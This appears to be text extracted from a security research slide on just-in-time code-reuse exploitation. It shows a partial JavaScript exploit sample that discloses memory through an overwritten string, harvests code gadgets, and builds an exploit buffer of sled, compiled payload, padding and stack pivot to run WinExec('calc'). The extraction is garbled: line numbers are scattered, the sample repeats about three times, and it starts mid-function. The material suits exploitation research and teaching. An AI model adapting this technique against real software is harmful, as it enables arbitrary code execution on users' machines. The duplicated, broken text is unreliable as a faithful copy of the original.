SLIDE 17 if (address & 1) return value >> 8; // get upper
9
return value & 0xFF; // value is 2 bytes, get lower
10
};
11 12
// Define target program (’@’ is shorthand
13
// for ’last value returned’)
14
var program =
15
”LoadLibraryW(L’kernel32’);” +
16
”GetProcAddress(@, ’WinExec’);” +
17
”@(’calc’, 1);” +
18
”LoadLibraryW(L’kernel32’);” +
19
”GetProcAddress(@, ’ExitProcess’);” +
20
”@(1);”;
21 22
// Steps 2-4, harvest pages, gadgets, functions
23
framework.HarvestCodePages(this.initialCodePtr_);
24 25
// Step 5, 6 - jit-compile and build exploit buffer
26
var exploitBuffer =
27
Exploit Code Sample
// ... snip ...
1
// The string object is overwritten, and initial code
2
// pointer harvested prior to this snippet of code
3 4
// Step 1, implement DiscloseByte interface
5
framework.prototype.DiscloseByte = function(address) {
6
var value = this.string_.charCodeAt(
7
(address - this.absoluteAddress_ - 8)/2);
8
if (address & 1) return value >> 8; // get upper
9
return value & 0xFF; // value is 2 bytes, get lower
10
};
11 12
// Define target program (’@’ is shorthand
13
// for ’last value returned’)
14
var program =
15
”LoadLibraryW(L’kernel32’);” +
16
”GetProcAddress(@, ’WinExec’);” +
17
”@(’calc’, 1);” +
18
”LoadLibraryW(L’kernel32’);” +
19
”GetProcAddress(@, ’ExitProcess’);” +
20
”@(1);”;
21 22
// Steps 2-4, harvest pages, gadgets, functions
23
framework.HarvestCodePages(this.initialCodePtr_);
24 25
// Step 5, 6 - jit-compile and build exploit buffer
26
var exploitBuffer =
27
repeat(0x3E, unescape("%u9191%u9191")) + // Id
28
repeat(0x19, framework.NoOpG()) + // Sled
29
unescape(framework.Compile(program)) + // Payload
30
repeat(0x12, unescape("%u4545%u4545")) + // Pad
31
repeat(0x32, framework.StackPivotG()); // Redirect
32 33
// overwrite with the exploit buffer
34
// ... snip ...
35
End Code Exploit Code Sample
// ... snip ...
1
// The string object is overwritten, and initial code
2
// pointer harvested prior to this snippet of code
3 4
// Step 1, implement DiscloseByte interface
5
framework.prototype.DiscloseByte = function(address) {
6
var value = this.string_.charCodeAt(
7
(address - this.absoluteAddress_ - 8)/2);
8
if (address & 1) return value >> 8; // get upper
9
return value & 0xFF; // value is 2 bytes, get lower
10
};
11 12
// Define target program (’@’ is shorthand
13
// for ’last value returned’)
14
var program =
15
”LoadLibraryW(L’kernel32’);” +
16
”GetProcAddress(@, ’WinExec’);” +
17
”@(’calc’, 1);” +
18
”LoadLibraryW(L’kernel32’);” +
19
”GetProcAddress(@, ’ExitProcess’);” +
20
”@(1);”;
21 22
// Steps 2-4, harvest pages, gadgets, functions
23
framework.HarvestCodePages(this.initialCodePtr_);
24 25
// Step 5, 6 - jit-compile and build exploit buffer
26
var exploitBuffer =
27
repeat(0x3E, unescape("%u9191%u9191")) + // Id
28
repeat(0x19, framework.NoOpG()) + // Sled
29
unescape(framework.Compile(program)) + // Payload
30
repeat(0x12, unescape("%u4545%u4545")) + // Pad
31
repeat(0x32, framework.StackPivotG()); // Redirect
32 33
// overwrite with the exploit buffer
34
// ... snip ...
35
End Code